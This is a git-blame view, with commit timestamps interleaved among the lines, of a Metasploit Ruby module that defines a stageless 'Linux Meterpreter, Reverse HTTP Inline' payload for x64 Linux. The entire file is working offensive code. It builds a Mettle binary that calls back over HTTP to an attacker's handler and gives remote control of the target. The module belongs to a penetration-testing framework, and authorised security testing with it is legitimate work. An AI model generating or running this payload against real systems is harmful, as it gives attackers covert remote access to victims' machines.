2016-12-10 00:28:29 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-12-10 00:28:29 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2017-03-21 09:38:18 +00:00
|
|
|
require 'msf/core/handler/reverse_http'
|
2016-12-10 00:28:29 +00:00
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
require 'msf/base/sessions/mettle_config'
|
2017-03-21 09:38:18 +00:00
|
|
|
require 'msf/base/sessions/meterpreter_x64_linux'
|
2016-12-10 00:28:29 +00:00
|
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
|
2017-11-25 02:27:34 +00:00
|
|
|
CachedSize = 746944
|
2016-12-10 00:28:29 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
2017-03-21 09:38:18 +00:00
|
|
|
'Name' => 'Linux Meterpreter, Reverse HTTP Inline',
|
|
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
2016-12-10 00:28:29 +00:00
|
|
|
'Author' => [
|
2017-03-21 09:38:18 +00:00
|
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
2017-10-30 19:04:10 +00:00
|
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
|
|
'timwr'
|
2016-12-10 00:28:29 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X64,
|
|
|
|
'License' => MSF_LICENSE,
|
2017-03-21 09:38:18 +00:00
|
|
|
'Handler' => Msf::Handler::ReverseHttp,
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_x64_Linux
|
2016-12-10 00:28:29 +00:00
|
|
|
)
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate
|
2017-06-08 01:20:48 +00:00
|
|
|
opts = {
|
|
|
|
scheme: 'http',
|
|
|
|
stageless: true
|
|
|
|
}
|
2017-03-21 09:38:18 +00:00
|
|
|
MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
|
2016-12-10 00:28:29 +00:00
|
|
|
end
|
|
|
|
end
|